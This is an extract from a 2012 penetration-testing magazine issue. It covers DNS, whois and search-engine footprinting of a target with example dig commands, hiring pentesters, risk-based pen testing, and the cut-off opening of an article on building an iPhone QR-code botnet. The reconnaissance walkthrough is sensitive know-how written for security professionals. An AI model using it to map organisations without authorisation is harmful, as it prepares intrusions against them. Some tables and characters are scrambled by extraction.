For any organization that must publish regular reports
(e.g. listed companies), these are a treasure trove of
information for understanding the target’s core business
units, corporate hierarchy and lines of business. All
these become very useful when selecting targets.
Dumpster diving, if you are up for it and have physical
access to the target, means sifting through trash to get
useful information, but in recent times social media
can provide us with even more. Sites like LinkedIn,
Facebook and Twitter can provide you with lists of

THE BEST OF 01/2012 Page 116 http://pentestmag.com

employees, projects that the organization is involved
with and perhaps even information about third party
products and suppliers that are in use.
One should even keep an eye out for evidence of
previous breaches or loss of credentials. It has become
common place for hackers to post information about
security breaches on sites like pastebin.com. The
most likely evidence would be credentials in the form
of corporate emails and passwords being reused on
unrelated sites that are hacked, and have their user
databases uploaded. In addition developers use sites like
Pastebin to share code, ideas and patches, and if you are
lucky you might just find a little snipped of code that will
give you the edge sitting out in the open, on Pastebin.
DNS
The Domain Name System (DNS) is a hierarchical distributed
naming system for computers, services, or any resource
connected to the Internet or a private network. – WikiPedia
In a nutshell, DNS is used to convert computer names
to their numeric addresses.
Start by enumerating every possible domains owned
by the target. This is where the information from the initial
reconnaissance phase comes in handy, as the target’s
website will likely point to external domains of interest
and also help you guess at possible names. With a list
of the most discovered domains in hand, move on to a
TLD (Top level domain) expand. TLDs are the highest
level subdomains in DNS; .com, .net, .za, .mobi are all
examples of TLDs (The Mozilla Organization maintains
a list of TLDs https://wiki.mozilla.org/TLD_List).
In this step, we take a discovered dicovered domain
and check to see if there are any other domains with
the same name, but with a different TLD. For example,
if the target has the domain victim.com, test whether
the domains victim.net, victim.info, victim.org etc. exist
and if they exist check to see if they are owned by our
Figure 1. Using dig to get the SOA (Start of authority) record for a
domain
THE BEST OF 01/2012
target organization. To determine whether a domain
exists or not, one should examine the SOA (start of
authority) DNS record for the domain. Using commands
like nslookup under MicroSoft Windows or dig/host
commands under most of the *nix family will reveal SOA
records. Using dig, dig zonetransfer.me soa.
If, by veryfing the SAO, it is confirmed that the domain
exists, then the next step is to track down who it belongs
to. At this point the whois service is called upon. Whois
is simply a registry that contains the information of the
owner of a domain. Note that it is not entirely reliable
and certainly not consistent. The following very simple
query whois zonetransfer.me provides us with the
owner of the domain zonetransfer.me detail.
After finding domains, running them through the TLD
expand and verifying their whois information, it is time
to track down hosts. First we need to get the NS or
name server records for the domains. Again using dig
zonetransfer.me ns returns a list of all the name servers
used by this domain. In many cases the name server
will not be part of the target’s network and is often out-
of-scope, but they will still be used in the next step.
DNS yields much interesting information, but the
default methods for extracting information from foreign
servers effectively relies on a brute force. However,
DNS supports a trick whereby the all DNS information
for a zone can be downloaded if the server allows it, and
this is called a zone transfer. When enabled, they are
extremely useful as they negate the need for guessing
or brute-forcing; sadly they are commonly disabled.
Still, given the usefullness of zone transfers it is always
worth testing for. Zone transfers are performed against
name servers that is specified in the NS records of a
domain, and it is also important to perform this against
all the name servers in the list. While the data contained
in each name server should be the same, the security
configuration might be different. Using dig, the following
command will attemp to perform a zone transfer dig axfr
@ns12.zoneedit.com zonetransfer.me.
Figure 2. Using whois to get the domain owner detail
Page 117 http://pentestmag.com

As mentioned previously, zone transfers are not that
common. When we cannot download the zone file, there
are a couple of other tricks that might work. One is to
brute force or guess host names: by using a long list of
common hostnames one can test for names such as
fw.victim.com, intranet.victim.com, mail.victim.com and
so on. The names can be commonly seen hostnames,
generated names when computers are assigned
numeric or algorithmic names, or from sets of related
names such as characters from a book series. When
brute forcing DNS, be sure to check the following DNS
records: CNAME, A and AAAA. Again this is easy using
a tool like dig. dig www.google.com a produces the DNS
configuration for www.google.com, note that the hostname
www.google.com actually has multiple DNS entries, one
CNAME record, and two A records and looking at the IP
addresses it is clear that is two different hosts.
Now doing this manually seems easy and quick,
(and it is!) but if we want to brute force or guess many
host names, then this will take too long. Of course, it
is easy enough to script these commands to automate
the process; however there are existing tools written
specifically for this purpose. One of the most popular
Figure 3. Performing a zone transfer using dig
Figure 4. Using dig to get the a record for a host entry
THE BEST OF 01/2012
PENTEST EXTRA
tools, Fierce, is a perl script written by RSnake (http://
ha.ckers.org/fierce/), which is an easy to use tool with
many useful functions. Additionally, there tools like
Paterva’s Maltego and SensePost’s Yeti which provide
graphical tools for this purpose.
If we happen to have a list of IP addresses or IP
netblocks of the target, then a further DNS trick is to
convert the addresses into hostnames using reverse
lookups to get the PTR record entry. This is useful since
reverse records are easily brute forced in IPv4. Bear in
mind that DNS does not require a PTR record (reverse
entry) or that entries in the reverse zone match entries
in the forward zone.
To test once more, try using dig, dig 104.66.194.173.in-
addr.arpa ptr. While this too can be easily automated,
the previously mentioned tools will also handle PTR
records.
Search engines
DNS interrogation and mining forms the bulk foot
printing, but thanks to modern search engines like
Google and Bing, finding targets has become much
easier.
Apart from the normal searching for your target, as
you would do in your initial phase, you can actually
use the data that you discovered during the course
of the DNS mining to try and get further information
using search engines. Bing from MicroSoft provides
us with two really useful search operators: ip: and site:.
When using the ip: operator, Bing will return a list of
hosts that it has indexed that resolve to the IP address
that you have specified. Alternatively the site: operator
when used with a domain name, will return a list of host
names that have been indexed by the search engine
and belong to the domain specified. Quick and easy,
and Bing also provides you with a very simple free API
that you can use to automate these searches.
Figure 5. Getting the netblock and owner using whois
Page 118 http://pentestmag.com

Figure 6. Search results for ARIN reverse whois
Address mapping
All this fuss with DNS is important, but it is only use
insofar as they lead us to addresses. The next step
is discovering where the target exists within the IP
address space. Luckily very useful tools and resources
exist to help us uncover these ranges, by automating
a combination of manual techniques such as whois
querying, traceroute and netblock calculators. In the
previous section the whois tool was used to get the
domain owner information. The same tool can be used
to discover the ownership/assignment details of a
specific IP address. Let take www.facebook.com. One
of the IP addresses that it resolves to is 69.63.190.10.
whois 69.63.190.10 produces the following output.
From the whois output we get really useful information.
First is a netblock range 69.63.176.0-69.63.190.255 as
well as the owner of this net block, namely Facebook, Inc.
In this case we are lucky and the netblock is registered
to facebook, but often you will only get the network
service provider to which the netblock is allocated to. So
then you will have to go and query the service provider
in order to gain more info about the specific netblock.
Online resources can also be very useful, for example
Figure 7. Firefox reporting the common name contained in a SSL
certi�cate for a host
THE BEST OF 01/2012
ARIN (American Registry for Internet Numbers) or any
of the other regional registries (RIPE, AfriNIC, APNIC and
LACNIC). ARIN provides a reverse whois search interface
where one can search for organization names and
other terms, even performing wild card searches. Giving
Facebook a second look, we try a search on the reverse
whois interface found at http://whois.arin.net/ with the term
facebook, and get a list of five additional network ranges.
SSL Certificates
Lastly, we turn to SSL. SSL may be more familiar as
a protection against nasty eavesdroppers and men-in-
the-middle, but it is useful for footprinters. How? It is
really simple actually, one security checks performed
by browsers when deciding on the validity of a SSL
certificate is whether the Common Name contained in the
certificate matches the DNS name of the host requested
from the browser. Now how does this help? Say a list of
IP addresses has been produced; the next step would be
to perform a reverse lookup of all these IP addresses.
However, if no reverse entry is present and Bing has no
record of the IP, then some creativity is called for. If an
HTTPS website is hosted on that address then simply
browse to that IP address and, when presented with the
invalid certificate error, message, look for the real host
name.
Again, this is something that is easily automated, so
the guys at SensePost have included a module in Yeti
to actually do this for you.
Conclusion
Foot printing might at first glance appear to be simple
and mundane, but the more you do it, the more you
will realize that very few organization have a handle
on exactly what they have and what they present to the
internet. And as the internet and networks evolve so does
the way companies and organization use it, and so does
their footprint. A year-old footprint could be hopelessly
outdated, and ongoing footprinting helps organizations
maintain a current view of their threat landscape.
With the ongoing move away from local infrastructure to
hosted infrastructure, the footprint expands, spreads and
grows, and so will our quest to find as much as possible.
WILLEM MOUTON
Willem hails from a developement background having worked
on projects ranging from banking applications to embedded
GSM devices. He moved into the security �eld purly because
it is way more fun to break orther peoples applications. He is
currently a securtiy analyst/foozeball player at Sensepost and
is responsible for breaking applications and building some
tools. He has also presented training at BlackHat events. Oh
and he is a really big fan of Shaun the Sheep.
Page 119 http://pentestmag.com

The Hunt for
Pentesters
As the world of IT becomes more and more sophisticated, so does
the demand for experienced IT professionals. Good pentesters are
particularly hard to find because they need to be both deeply technical,
and highly communicative.
W
hen a company hires a penetration tester, trust
is everything. Indeed, a company will have to
expose its internal security operations and all
sorts of secrets to pentesters, should they be internal or
hired through a consulting company. Because of this,
the recruitment process should not only assess the
technical skills but should also assess the personality
and background of a potential pentester.
The aim of this article is to give the reader and idea of the
criteria assessed by headhunters to identify trustworthy
and technically capable pentesters. By shedding light on
those aspects, this article will therefore give the readers
an understanding of the usual education, competencies
and soft skills a valuable pentester should demonstrate.
Who hires pentesters?
Due to a high level of due diligence to ensure the
confidentiality, integrity and availability of customer
transactions, pentesters are often sought at banks and
other financial companies. However, IT security is also
an issue in other industries such as pharmaceutical,
consumer goods, manufacturers, telecommunications,
etc. These companies need to rely on an IT infrastructure
that must be efficient at all time to ensure performance
not only for internal people but also for external
audience, such as clients, investors, suppliers, etc.
Another aspect to point out in order to define the types
of clients is the cost of IT security. It is often seen as a
THE BEST OF 01/2012 Page 120
PENTEST MARKET
preventive medicine: You don’t really know if it’s working
or exactly how well it’s working, but you do know when
it fails (Sperling, 2009). As such, companies often
hire consulting companies that will not only perform
penetration testing but will also offer complete security
audit services. Therefore, consulting companies such
as the Big-4 and other smaller ones, make the big part
of the companies employing pentesters.
In short, there are two types of employers: end clients
such as financial institutions, and consulting companies.
As we will discuss further in this article, assessing the
soft skills part of a pentester for a consulting company
should be well processed and mastered. The reputation
of a consulting company could be seriously damaged
if the pentester was to fail to demonstrate honesty and
professionalism in delivering projects to its customers.
Ed Sperling, (02/09/2009). Measuring IT Security
Costs. Forbes, Retrieved from http://www.forbes.com/
2009/02/07/security-information-tech-technology-cio-
network_0209_security.html.
How to get to pentesters?
Like in other industries, good talent is hard to find.
The best pentesters are not on job boards because
they don’t need to be. Employers understand their
value and, unless economic situations force them to
cut back, make them stay and feel comfortable in their
position.
http://pentestmag.com
 That’s where the headhunter’s job begins-- finding
the best suitable candidate for a potential client. In the
ethical hacking area, it is often said that the tester should
think like a hacker to be able to identify vulnerabilities;
so do the headhunters to identify pentesters profiles. An
expert headhunter will have to jump into a pentester’s
shoes in order to reach his network and find the suitable
candidate. This can be done by reviewing the pentesting
blogs and contacting the most active members, getting
names from relevant certification exam subscriptions,
consulting popular social media networks, reaching
personal contacts that would recommend a headhunter
to expert candidates, etc.
An important subject that I feel should be discussed
here is whether a company should hire a blackhat
hacker as a penetration tester. There is no clear answer
on that matter and the decision should be pondered;
however there are several points to consider before
hiring a blackhat hacker:
Risk
Even though hackers can test the system to its limit,
a consulting company takes a high risk in hiring past
criminals (convicted or not) in their teams. If you do not
trust the individual to do what they were hired for, and
nothing more, then you should not use the resource.
Testing methodology is different
The blackhat hacker will often exploit a weaknesses
to fully penetrate the system, whereas the well-trained
penetration tester may test an identified vulnerability
to the point of confirming it, then move on to finding
additional vulnerabilities.
Understanding the business is key
A blackhat hacker might have valuable technical skills,
but he might not have the necessary business acumen
to communicate the risk behind the vulnerability.
Security is only taken into account by CIOs when there
is an identified risk to the business that could lead to
potential financial losses.
What will headhunters look for in a
pentester’s resume?
Education
There is no specific program focused either on IT
security or on penetration testing. Pentesters have
usually a MSc degree in IT. The work of a pentester
is demanding and hands-on knowledge is needed.
Penetration testing is also one aspect of IT security
and the entry level of a career that could lead to more
auditing or risk assessment, hence the requirement for
a higher level of education.
THE BEST OF 01/2012 Page 121
The academic criteria should not be a prohibitive
criteria. Expert pentesters often have lower education
backgrounds and when it comes to penetration
testing, one should also value the weight of practical
experience.
Penetration testing is an ever-changing art. A good
penetration tester will have to constantly ensure a
technology watch in order to stay informed on the
latest threats and the evolution of the IT infrastructure.
Constantly working with new technology enables the
tester to anticipate system vulnerabilities, to address
them, and master the detection tools. An indication
of extra-professional activities such as blogging,
participation in seminars or other ethical hacking
meetings will confirm that the candidate is keeping up to
date on the technics and will furthermore demonstrate
curiosity, tenacity, and passion; qualities that are
essential to be a valuable pentester.
Certifications and further education
Eventually, a pentester would feel the need to certify
his practical knowledge or to get further trainings.
Headhunters and companies will highly value
certifications in IT security, especially consulting
companies which services can be sold with high added
value.
I have listed below the most common certifications in
IT security. While penetration testing is a component of
IT/security audit, the here below certifications/trainings
will either focus on penetration testing or IT audit. See
Table 1.
After the selection process that consists in reviewing
the resumes, the soft skills assessment can start in the
framework of interviews.
Soft skills
Let’s have a look at the soft skills needed to perform as
a pentester.
The main qualities required for a position of
penetration tester are:
• Being an information sponge – Curiosity and
willingness to constantly learning. As mentioned
earlier, expert pentesters are the ones that keep up
to date on the latest technologies and that can also
anticipate new potential threats.
• Solution-oriented and investigative skills. The work
of a pentester is to find what should not be found; a
pentester need to be comfortable with ambiguous
and complex situations.
• Big picture orientation. A pentester should
understand the contribution and impact of his work
to the overall company structure.
http://pentestmag.com
Table 1. Certi�cations
Certi�cation Description
IT AUDIT
ISACA Certi�ed Information Security Audit (CISA)
(www.isaca.org) This is the basic and the most important among the audit
certi�cations. Companies do require more and more
this certi�cation as a proof of mastering the concepts of
security, control and audit of information systems.
Certi�ed Information Security Manager (CISM)
Certi�ed Information Security Manager (CISM)
The CISM is designed for (Aspiring) Information Security
Managers but also for IT/IS consultants. While CISA exam
is the most popular, CISM is more geared towards security
management. You do not need CISA to earn CISM.
ISC2 Certi�ed Information Systems Security Professional (CISSP)
(www.isc2.org) There is a competition between CISA and CISSP. A lot of
professionals I have talked with are saying that the CISSP is
more valuable and demanding in terms of technical skills.
The CISSP CBK consists of the following ten domains:
• Access Control
• Telecommunications and Network Security
• Information Security Governance and Risk Management
• Software Development Security
• Cryptography
• Security Architecture and Design
• Operations Security
• Business Continuity and Disaster Recovery Planning
• Legal, Regulations, Investigations and Compliance
• Physical (Environmental) Security
Requirements
Taking the exam requires a minimum of 5 years of
professional information systems auditing, control or
security work experience (as described in the CISA job
practice areas). The CISA exam consists in a multiple-choice
exam of 200 questions to be answered in 4 hours.
Under certain circumstances, the certi�cation can be done
prior to the 5-year work experience (see the website for
further details).
The CISM exam consists in a multiple-choice exam of 200
questions to be answered in 4 hours. A candidate must
receive a score of 450 (out of 800) or higher to pass the
exam.
The candidate must possess a minimum of �ve years of
professional experience in the information security �eld or
four years plus a college degree. There are some exceptions
to those requirements (see website for further details). A
candidate that passes the CISSP exam must be endorsed by
another (ISC)² certi�ed professional before the credential
can be awarded. Passing candidates will be randomly
selected and audited by (ISC)² Services prior to issuance of
any certi�cate.

Lead auditor ISO/IEC 27001

The certi�cation is to ensure that the candidate has the
knowledge and the skills to audit an Information Security
Management System (ISMS) based on ISO 27001 and to
manage a team of auditors by applying widely recognized
audit principles, procedures and techniques.
ETHICAL HACKING
EC-Council Certi�ed Ethical Hacker (CEH)
(www.eccouncil.org) The Certi�ed Ethical Hacker certi�cation will fortify the You need to earn the ENSA certi�cate before taking the CEH
application knowledge of security officers, auditors, exam.
security professionals, site administrators, and anyone
who is concerned about the integrity of the network
infrastructure.
Certi�ed Hacking Forensic Investigator (CHFI)
The CHFI certi�cation validate the candidate’s skills to Computer forensics pro�les are in high demand in the US
identify an intruder’s footprints and to properly gather the and in government agencies as cyber criminality is on the
necessary evidence to prosecute in the court of law.The rise
CHFI certi�cation will bene�t:
• Police and other law enforcement personnel
• Defense and Military personnel
• e-Business Security professionals
• ystems administrators
• Legal professionals
• Banking, Insurance and other professionals
• Government agencies
• IT managers
Licensed Penetration Tester (LPT)
This certi�cation s a natural evolution and extended You must achieve both CEH and ECSA to apply for the
value addition to its series of security related professional certi�cation.
certi�cations. The LPT standardizes the knowledge base
for penetration testing professionals by incorporating best
practices followed by experienced experts in the �eld.
The objective of the LPT is to ensure that each professional
licensed by EC-Council follows a strict code of ethics, is
exposed to the best practices in the domain of penetration
testing and aware of all the compliance requirements
required by the industry.
The objective of Certi�ed Security Analyst “pen testing”
certi�cation is to add value to experienced Information
Security professionals.
GIAC GIAC Certi�ed Incident Handler (GCIH)
(www.giac.org) GIAC Certi�ed Incident Handlers (GCIHs) have the SANS Institute delivers training for all the GIAC
knowledge, skills, and abilities to manage incidents; to certi�cations. (www.sans.org)
understand common attack techniques and tools; and to
defend against and/or respond to such attacks when they
occur.
This certi�cation is for individuals responsible for incident
handling/incident response; individuals who require
an understanding of the current threats to systems and
networks, along with effective
GIAC Penetration Tester (GPEN)
The GPEN certi�cation is for security personnel whose SANS Institute delivers training for all the GIAC
job duties involve assessing target networks and systems certi�cations. (www.sans.org)
to �nd security vulnerabilities. Certi�cation objectives
include penetration-testing methodologies, the legal issues
surrounding penetration testing and how to properly
conduct a penetration test as well as best practice technical
and non-technical techniques speci�c to conduct a
penetration test.
GIAC Web application Penetration Tester (GWAPT)
Web applications one of the most signi�cant points of SANS Institute delivers training for all the GIAC
vulnerability in organizations today. Most organizations certi�cations. (www.sans.org)
have them (both web applications and the vulnerabilities
associated with them). Web app holes have resulted in the
theft of millions of credit cards, major �nancial loss, and
damaged reputations for hundreds of enterprises. The
number of computers compromised by visiting web sites
altered by attackers is too high to count. This certi�cation
measures and individuals understanding of web application
exploits and penetration testing methodology.
GIAC Certi�ed Exploit Developer (GXPN)
This exam certi�es that candidates have the knowledge, SANS Institute delivers training for all the GIAC
skills, and ability to conduct advanced penetration tests, certi�cations. (www.sans.org)
how to model the abilities of an advanced attacker to �nd
signi�cant security �aws in systems, and demonstrate the
business risk associated with these �aws.
ISECOM OPST (OSSTMM Professional Security Tester)
(www.isecom.org) The OPST is a certi�cation of applied knowledge designed OSSTMM stands for Open Source Security Testing
to improve the work done as a professional security Methodology Manual. Many researchers from various
tester. This is a certi�cation for those who want or need �elds contributed because they saw the need for an
to prove they can walk the walk in security testing, the open method, one that was bound towards truth and not
discipline which covers network auditing, ethical hacking, commercial gain or political agendas.
web application testing, intranet application testing, and
penetration testing. And it is a critical, eye-opening class for
security auditors, network engineers, system and network
administrators, developers, network architects, security
analysts, and truly anyone who works in IT from systems to
networks.
• Analytical capacity. To be able to find vulnerabilities,
a pentester need to have a methodological and
deductive approach. Analytical skills will also help
him to write good reports and to summarize his
findings.
• Capacity to explain technical terms to non-technical
people. This is essential to define a common
ground from which to begin in explaining problems
and recommending remediation steps in a way that
is easily understandable by the client.
• Honesty and ability to deal with sensitive data. It is
particularity essential for pentesters in consulting
companies as they will have access to data at their
clients. These skills are even more important in the
forensics area (cyber criminality).
• Writing skills. A critical part of the job as a pentester
is being able to write reports
• Language skills if not English speaking
In addition, more skills can be required when working
in consulting companies:
• Versatility. These companies will highly value the
fact that a pentester has various experiences in
a d v e r t
different industries and IT infrastructures. It will give
the headhunters the evidence that a pentester is
flexible in different environments.
• Customer service. A pentester consultant will have
to take action and make decisions that successfully
build customer value; customer must be put at the
central of all thinking.
In conclusion, both technical and soft skills aspects
need to be evaluated to hire a valuable and expert
penetration tester. I believe that this article has drawn
what is the common profile of a penetration tester
with respect to both sets of skills. Now you know that
headhunters are watching you!
FABIANA SCHÜTZ
Fabiana Schütz graduated in Work and Organizational
Psychology at the University of Neuchatel (Switzerland) in
2006 where she spent one year studying at the California
State University of Long Beach. Co-founder of Mensys Group,
a recruitment agency specializing in niche markets within IT,
Engineering and LifeSciences, they operate in Europe with
offices in Switzerland and Poland.
i s e m e n t

Pen Testing and
Risk Management
According to new research from security vendor Imperva,
distributed denial of service and SQL injection are the main types
of attack discussed on hacking forums. Underground discussion
forums are an important piece in the cybercriminal ecosystem.
They offer a place for hackers to sell and exchange information,
software tools, exploits, services and other illegal goods.
F
orums are the cornerstone of hacking – they are
used by hackers for training, communications,
collaboration, recruitment, commerce and even
social interaction, Imperva stressed.
In recent years, the movement in hacking forums has
increased by 150%. We believe this increase reflects
the higher number of failures, simply because there
are more attackers chasing security breaches, the
company said.
Imperva’s researchers have recently analyzed discus-
sions going back several years from HackForums.net,
one of the largest hacker forums with over 220,000
registered members. Their effort was aimed at
determining the most common attack targets, what
business trends can be observed, and what directions
hackers are leaning toward.
As far as attack popularity goes, the analysts
determined that DDoS was mentioned in 22 percent of
discussions. SQL injection, a technique commonly used
to compromise websites, is the second most frequently
������������������ ��������
�������������������������������������� ���������������
������������������ ��������������������������������������� �������������������������������������������
����������������� ������������������������
Figure 1. Pentest plan
THE BEST OF 01/2012
PENTEST STARTERKIT
discussed attack method, being at the center of 19
percent of conversations.
Unsurprisingly, with a 16 percent discussion occur-
rence rate, spam is the third most favorite attack
type according to Imperva’s content analysis. That’s
probably because it is one of the primary methods of
generating illegal income.
Network and computer vulnerabilities caused by
misconfiguration, unsafe coding and lack of proper
security updates still are a nightmare for mission-critical
applications in organizations worldwide, impacts the day-
to-day organizations in such challenging security world.
For instance a simple virus activity in IT environment
causing a main server outage and huge financial losses
as well as affect the image of the whole organization,
whenever service outage cause any direct impact to
customers.
Security guidelines and awareness for infrastructure and
development staff, as well as use of sophisticated Intrusion
Prevention Systems, vulnerability scanners, antivirus,
��������
��������������������������
�������������������������
������������������
Page 124 http://pentestmag.com
security updates and fixing management technologies
has been helping so much on minimizing the risk.
But how many companies want to invest in ongoing
security preventative measures?
Just in case of having regulators and compliance
reporting (such as Basel II, SOx, SSAE 16, etc.) that’s
an easy question, in other organizations the information
security necessity just come after a huge outage or
financial loss, mainly devoted to IT inefficiency because
the absence of technical knowledge by business
management staff in considering such IT Security Risks
and Business Impact before.
What I´ve seen in several years of consultancy
almost daily, are executives still under the shock of the
incidents, hiring information security experts temporarily
to cure problems caused by a security vulnerability
exploited previously by a hacker.
But this approach is the best solution for a long-term
security program? Security specialists would improve
every vulnerability, security configurations, coding and
updating issues, but without proper planning, processes
and follow up: Incidents and outages will happen again,
putting the business at risk!
Sometimes an incident can make the improvements
that were already expected by Business and IT staff
for a long time. But as a lesson learned executives
have to begin to use new methods to direct and control
the activities of information security, ensuring strategic
alignment and anticipating problems, in other words:
Information Security Risk Management.
Pen Test Methodology
In this scenario Penetration Testing methodology can •
help as an additional test for Information Security Risk
Management. This approach
provides a test on the information
security controls and also about the
effecti-veness of security policies
against the various threats to the
business system.
The penetration test is a
security assessment technique,
with the goal of increasing the
efficiency and effectiveness
on the controls, and proper
understanding of vulnerabilities
��������������������
found in different systems in an
organization.
However the penetration test
also provides a real picture
of technological risks related
to the business. A Pen Test
methodology helps to reveal the Figure 2. Risk management
THE BEST OF 01/2012 Page 125
level of risk that businesses are exposed and seeks to
facilitate risk management decisions.
The Goals Of The Penetration Test Should Include
• The analysis of the real threats inherent in a
business system;
• Relate the impact of the techniques and
vulnerabilities associated with the business; and
• Ensure promptly solutions through a risk analysis
security assessment.
Objectives
• Provide a focus for risk based for real threats the
business is exposed;
• Providing penetration testing during an analysis
of the effectiveness of the security mechanisms
verifies the actual implementation of policies,
procedures and configuration guidelines;
• Identify logical failures, network monitoring and
security platforms present in applications;
• Provide a result linked to organization risk
management processes;
• Ensure the maximization of the value and the
validation of the results of tests carried out in such
a way as to balance the depth of testing;
• Reach a broad coverage of all relevant systems with
a detailed balancing, focused on specific targets;
• Provide a root-cause analysis of the problems
encountered in order to enable the development of
a strategic solution; and
Provide rigid security management framework in
assessing such compliance.
��������
���
����������
����
���������
���� ����
���������� ��������
����
�����������
http://pentestmag.com
 PENTEST STARTERKIT
Defining Pen Test Priorities
Generally, an ideal Pen Test should focus on testing
of high-value computer assets with higher risk and low
operation outage impact to client.
The client should always be aware about the benefits
provided by a test with information and classification of
targets in spite of a test without any information and
target classification imprecise and high probability of
operational impact, although simulating an outsider
attack method.
Some Pen Testing reasons to be performed in the
organization:
• Regular assessment of IT security procedures for
configuring, updating and coding.
• Pre-testing of implementing a new critical business
product/service;
• Intrusion detection and prevention systems testing;
• Security monitoring testing, report, classification
and treatment of incidents;
• Wider vision regarding the relationship of several
threats present in the technological environment;
• Search for faults or coding errors in the software;
and
• Waiver of dissemination of security practices on the
staff activities.
Interaction with Information Security Risk
Management
Mainly by international regulations, more and more
organizations are moving to a risk-based audit
approach that can be adapted and translated to develop
and improve the continuous information security risk
management process.
A risk based approach relies on internal and operational
controls as well as the impacts to organization business.
This type of risk assessment decision can help relate
the cost/benefit analysis of the control to the known risk,
allowing practical and business focused choices.
By understanding the nature of the business, risk types
can be identified and categorized. The risk assessment
model can be as simple as creating weights for the types
of risks associated with the business and identifying the
risk in an equation, considering Complexity, Probability
and Impact.
On the other hand, risk assessment can be a scheme
where risks have been given elaborate weights based
on the nature of the business or the significance of the
risk.
Pen Testing is a part of Risk Monitoring and mitigation
plans are often linked to enterprise survivability as well
as business process reliance on information systems
confidentiality, availability and performance.

Table 1. Organization impact

Impact Type Business Low Medium High
Impact
Reputation/ Reputation Local short term loss of Negative Publicity primarily Ongoing loss of brand
Customer Goodwill with business and industry credibility
Con�dence press
Reputation/ Customer Loss Minimal disruption to Threat of long term damage to Long term loss or key
Customer customer supplier relationship customer supplier relationships customer/ supplier
Con�dence
Financial Operating Costs Minimal reduction in Widespread short term Widespread failure of
Productivity, Inefficient short reduction in other unit production, Viability of
term operation of business productivity, Business unit business unit seriously
unit, Minimal effect upon other operations compromised in threatened, Serious impacts in
operations, Minimal increase in the longer term, Widespread other areas of the business.
failure rates/ product return or short term reduction in
re-work rates productivity
Financial Revenue Loss Less than 5% yearly revenue 5 to 30 % yearly revenue loss Greater than 30 % yearly
loss revenue loss
Financial One Time Minimal Unbudgeted costs/ Unbudgeted costs/loss of pro�t Unbudgeted costs/loss of
Financial Loss loss of pro�t incurred incurred of > USD 2.000.000 pro�t incurred of > USD
and < USD 30.000.000 30.000.000
Fines/Legal Fines/ Penalties Fines less than USD 200.000 Fines between USD 200.000 Fines greater than USD
Penalties are levied. and USD 2.000.000 are levied. 2.000.000 or Unlimited
Damages/Penalties/Fines are
levied
Fines/Legal Lawsuits/ Local Dispute Serious local regulatory Legal Actions in a Worldwide
Penalties Investigations breach Context

THE BEST OF 01/2012 Page 126 http://pentestmag.com

Table 2. Complexity
Factor Complexity Probability Business Impact
1 Low: Below 30 �ndings. Rare: Not Seen Not Insigni�cant: No signi�cant impact or
limited consequence.
2 Medium Low: Between 30 and 50 Unlikely: Not seen in the last 5 years Less: Impact on a small part of the
�ndings. business.
3 Medium: Between 50 and 100 �ndings. Moderate: Seen the last 5 years but Major: Impact on the organization’s
not seen in the last year image.
4 Medium High: Likely: Seen since last year. Material: Impact requires formal report to
100 to 400 �ndings. Business Management.
5 High: Common: It happens on a regular Catastrophic: Widespread Failure or
More than 400 �ndings. basis. signi�cant reduction of business activities.

Risk Monitoring is generally designed to reduce risks Security Hardening Priorities

that could prevent an organization from achieving its
mission by addressing the underlying threats that
explore security vulnerabilities found in a given IT
environment.
A Mitigation plan or vulnerability fixing plan can
address threats in one or more of the following ways:
• Recognize threats as they occur.
• Resist threats to prevent them from occurring.
• Recover from threats after they occur.
All identified vulnerabilities discovered in Penetration
Testing may be addressed and classified in an
Organization Impact Matrix, i.e. a business stakeholder
perception in order to provide guidance on Business
Impact Classification.
Risk Factor score is a Semi-Quantitative analysis that
allows establishing a magnitude scale for each process
in accordance with security vulnerability findings
identified in a Pen Test aligned with the risk perceptions
of business stakeholders involved:
• Complexity: Number of vulnerability findings in
information assets affected by: computers, servers,
network devices, systems, etc.
• Probability: An estimation of the threats exploring
vulnerabilities found lately.
• Business Impact: The consequences for business
processes considered if the risk materializes, in
other words if undesirable events happen.
Risk factor is obtained by a simple average of the risk
factors mentioned, or:
Risk = Complexity + Probability + Impact / 3
• IF Risk is less than 2 LOW,
• IF Risk is less or equal 3 MEDIUM,
• IF Risk is over 3 HIGH
Having mapped all vulnerabilities and risks, the next
step is listing security measures required.
Obviously, an organization cannot implement every
possible security measure immediately, but ranking
them by risk would ease considerably such process
ranking priorities and plans.
As soon as having in mind the cost of control measure
it can NEVER be more expensive that the business
process being secured, a good approach for identified
vulnerabilities in order to avoid high business exposure,
should be:
• High Risk – immediately or up to 1 week
• Medium Risk – between 1 week and 1 month
• Low Risk – between 1 and 6 months
ALESSANDRO MANOTTI
Alessandro Manotti CISA, CISM – professional with over 12
years in Audit and Information Security Consultancy, working
in �nancial, telecom and automotive industries in Brazil and
abroad, professional history:
• Consultant in an international audit �rm, worked in 2 BI-
G4s, conducting audit, regulation (SOx, Basel II,SSAE16),
awareness, gap analysis (COBIT, ITIL, ISO27002) digital
certi�cation, and identity management projects.
• Local Information Security Officer in a world-leading busi-
ness process outsourcing organization (BPO).
• Systems Audit Coordinator in one of the largest �nancial
groups in Europe.
• Member and certi�ed by ISACA as Certi�ed Information
System Auditor (CISA) and Certi�ed Information Security
Manager (CISM).
• Book: Practical IT Auditing – Curso Prático Auditoria de Si-
stemas (in portuguese language): Understand how works
Internal and External audits in a pratical manner, Alessan-
dro Manotti – Publisher: Editora Ciencia Moderna Brazil
1st. Edition, 2010.

THE BEST OF 01/2012 Page 127 http://pentestmag.com

 PENTEST STARTERKIT

QRbot
– iPhone QR botnet
Every time that new technology is revealed, lots of security
researchers seek for vulnerabilities in it. In my case, I am looking
for security holes in the integration between QR readers and smart
phones, especially on iPhone.

T
his article is related to both social engineering
and cyber-crime. Why social engineering?
Since QR usage is based on interactive actions
of mobile users, which might lead to threats on their
devices, as will be explained in detail later.
Why cyber-crime? The actions taken by criminals not
only harm the mobile phone/device users, but also may
steal sensitive information or aid in launching massive
actions using controlled, Zombie-based networks
(Botnets), e.g. DDoS – Distributed Denial of Service
attacks.
In order to explain the whole process, this article
begins from the basics of QR and iPhone Usage.
After understanding the basics, we will dive into the
actions needed to build a QRbot. Finally, avoidance
recommendations will be explained.
What is QR?
A QR (Quick Response) code is a type of matrix
barcode that was developed in order to automate the
industry. The code consists of black modules arranged
in a square pattern on a white background, e.g. the QR
code in Figure 1 is decoded to the phrase Do you think
that information security is expansive? Try to ignore it!
There are similarities to the QR, such as EZcode, QM,
but the QR is the most common.
The QR is used in various places and media types:
newspapers, TV, business cards, books, Google
favorite places i.e. to see review on a restaurant before
entering, Google chrome add-on, museums, house
selling advertisements, on CDs to watch a clip of the
band, troubleshooting on electronic devices, restaurant
menus etc.
In order to read the QR code, the mobile device (not
